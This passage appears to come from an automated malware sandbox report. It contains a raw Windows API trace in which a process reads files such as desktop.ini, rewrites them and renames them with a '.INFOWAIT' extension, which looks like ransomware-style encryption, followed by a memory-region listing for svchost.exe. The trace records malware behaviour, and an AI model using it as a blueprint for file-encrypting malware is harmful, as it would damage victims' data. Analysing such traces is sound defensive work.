(lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.837] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.837] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.837] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.838] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0147.838] GetLastError () returned 0x5 [0147.838] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0147.838] GetLastError () returned 0x5 [0147.838] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0147.838] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0147.838] lstrlenW (lpString="CreateFile") returned 10 [0147.838] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0147.838] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0147.838] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0147.838] lstrlenW (lpString="5") returned 1 [0147.839] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0147.839] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0147.839] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0147.839] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0147.839] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0147.839] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0147.839] LocalFree (hMem=0x65ded8) returned 0x0 [0147.839] LocalFree (hMem=0x2568430) returned 0x0 [0147.839] GetLastError () returned 0x5 [0147.839] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.839] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.839] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0147.839] GetLastError () returned 0x5 [0147.839] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0147.839] GetLastError () returned 0x5 [0147.839] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xded8\x65\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x13 [0147.839] lstrlenW (lpString="Access is denied.\r\n") returned 19 [0147.839] lstrlenW (lpString="CreateFile") returned 10 [0147.839] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x2568430 [0147.839] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0147.839] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0147.839] lstrlenW (lpString="5") returned 1 [0147.839] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0147.839] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0147.839] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0147.839] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0147.839] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0147.839] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0147.840] LocalFree (hMem=0x65ded8) returned 0x0 [0147.840] LocalFree (hMem=0x2568430) returned 0x0 [0147.840] GetLastError () returned 0x5 [0147.840] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.840] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.840] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0147.840] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.840] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.840] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0147.842] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.842] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.842] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0147.842] CloseHandle (hObject=0xad0) returned 1 [0147.842] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Videos\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Videos\\desktop.ini") returned="C:\\Users\\Default\\Videos\\desktop.ini" [0147.842] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Videos\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Videos\\desktop.ini.INFOWAIT" [0147.842] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Videos\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\videos\\desktop.ini.infowait")) returned 1 [0147.843] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.844] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.844] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.844] CreateFileW (lpFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.844] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0147.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.844] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.844] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 [0147.846] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.846] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.846] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0147.846] CloseHandle (hObject=0xad0) returned 1 [0147.846] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\desktop.ini" | out: lpString1="C:\\Users\\desktop.ini") returned="C:\\Users\\desktop.ini" [0147.846] lstrcatW (in: lpString1="C:\\Users\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\desktop.ini.INFOWAIT") returned="C:\\Users\\desktop.ini.INFOWAIT" [0147.846] MoveFileW (lpExistingFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="C:\\Users\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\desktop.ini.infowait")) returned 1 [0147.847] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.847] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.848] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.848] SendMessageW (hWnd=0x2012e, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x17e4f000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x68c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dbaa" [0xc000000f], "LOCAL" [0x7] Region: id = 1780 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1781 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1782 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1783 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1784 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1785 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1786 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1787 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1788 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1789 start_va = 0x170000 end_va = 0x22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1790 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1791 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 1792 start_va = 0x250000 end_va = 0x260fff entry_point = 0x250000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1793 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1794 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1795 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 1796 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1797 start_va = 0x790000 end_va = 0xb82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1798 start_va = 0xb90000 end_va = 0xb93fff entry_point = 0xb90000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1799 start_va = 0xba0000 end_va = 0xba1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 1800 start_va = 0xbb0000 end_va = 0xbb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 1801 start_va = 0xbf0000 end_va = 0xc6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1802 start_va = 0xc70000 end_va = 0xceffff entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 1803 start_va = 0xd50000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1804 start_va = 0xdf0000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 1805 start_va = 0xef0000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1806 start_va = 0xf10000 end_va = 0x11defff entry_point = 0xf10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1807 start_va = 0x1230000 end_va = 0x12affff entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 1808 start_va = 0x12b0000 end_va = 0x136ffff entry_point = 0x12b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1809 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 1810 start_va = 0x13f0000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1811 start_va = 0x14f0000 end_va = 0x15effff entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 1812 start_va = 0x1610000 end_va = 0x168ffff entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1813 start_va = 0x1690000 end_va = 0x170ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 1814 start_va = 0x1710000 end_va = 0x178ffff entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 1815 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1816 start_va = 0x1870000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 1817 start_va = 0x18d0000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 1818 start_va = 0x1960000 end_va = 0x19dffff entry_point = 0x0 region_type = private name = "private_0x0000000001960000" filename = "" Region: id = 1819 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1820 start_va = 0x1bd0000 end_va = 0x1c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 1821 start_va = 0x1c50000 end_va = 0x1ccffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 1822 start_va = 0x1cd0000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 1823 start_va = 0x1f90000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 1824 start_va = 0x2200000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1825 start_va = 0x23a0000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 1826 start_va = 0x2420000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 1827 start_va = 0x74ea0000 end_va = 0x74ea2fff entry_point = 0x74ea0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 1828 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x77690000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1829 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x777b0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1830 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1831 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1832 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1833 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1834 start_va = 0xff480000 end_va = 0xff48afff entry_point = 0xff480000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1835 start_va = 0x7fef5b00000 end_va = 0x7fef5b0bfff entry_point = 0x7fef5b00000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1836 start_va = 0x7fef5b20000 end_va = 0x7fef5bf7fff entry_point = 0x7fef5b20000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 1837 start_va = 0x7fef5e30000 end_va = 0x7fef5e37fff entry_point = 0x7fef5e30000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1838 start_va = 0x7fef6130000 end_va = 0x7fef61a3fff entry_point = 0x7fef6130000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1839 start_va = 0x7fef68c0000 end_va = 0x7fef68cffff entry_point = 0x7fef68c0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 1840 start_va = 0x7fef68d0000 end_va = 0x7fef68e1fff entry_point = 0x7fef68d0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1841 start_va = 0x7fef6930000 end_va = 0x7fef6948fff entry_point = 0x7fef6930000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1842 start_va = 0x7fef7420000 end_va = 0x7fef7483fff entry_point = 0x7fef7420000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1843 start_va = 0x7fef7490000 end_va = 0x7fef7500fff entry_point = 0x7fef7490000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1844 start_va = 0x7fef78f0000 end_va = 0x7fef78fafff entry_point = 0x7fef78f0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1845 start_va = 0x7fef7900000 end_va = 0x7fef7918fff entry_point = 0x7fef7900000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1846 start_va = 0x7fef7db0000 end_va = 0x7fef7dc4fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1847 start_va = 0x7fef8ab0000 end_va = 0x7fef8b2bfff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1848 start_va = 0x7fef9210000 end_va = 0x7fef9262fff entry_point = 0x7fef9210000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1849 start_va = 0x7fef9340000 end_va = 0x7fef9349fff entry_point = 0x7fef9340000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 1850 start_va = 0x7fefb1a0000 end_va = 0x7fefb1aafff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1851 start_va = 0x7fefb1b0000 end_va = 0x7fefb1d6fff entry_point = 0x7fefb1b0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1852 start_va = 0x7fefb210000 end_va = 0x7fefb276fff entry_point = 0x7fefb210000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1853 start_va = 0x7fefb310000 end_va = 0x7fefb324fff entry_point = 0x7fefb310000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1854 start_va = 0x7fefbd20000 end_va = 0x7fefbd37fff entry_point = 0x7fefbd20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1855 start_va = 0x7fefc9c0000 end_va = 0x7fefc9cbfff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1856 start_va = 0x7fefca90000 end_va = 0x7fefca96fff entry_point = 0x7fefca90000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1857 start_va = 0x7fefcb80000 end_va = 0x7fefcb9afff entry_point = 0x7fefcb80000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1858 start_va = 0x7fefccf0000 end_va = 0x7fefccf9fff entry_point = 0x7fefccf0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1859 start_va = 0x7fefcdf0000 end_va = 0x7fefce36fff entry_point = 0x7fefcdf0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1860 start_va = 0x7fefcf10000 end_va = 0x7fefcf6afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1861 start_va = 0x7fefd080000 end_va = 0x7fefd086fff entry_point = 0x7fefd080000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1862 start_va = 0x7fefd090000 end_va = 0x7fefd0e4fff entry_point = 0x7fefd090000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1863 start_va = 0x7fefd0f0000 end_va = 0x7fefd106fff entry_point = 0x7fefd0f0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1864 start_va = 0x7fefd690000 end_va = 0x7fefd69afff entry_point = 0x7fefd690000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1865 start_va = 0x7fefd6c0000 end_va = 0x7fefd6e4fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1866 start_va = 0x7fefd730000 end_va = 0x7fefd73efff entry_point = 0x7fefd730000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1867 start_va = 0x7fefd740000 end_va = 0x7fefd7d0fff entry_point = 0x7fefd740000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1868 start_va = 0x7fefd7e0000 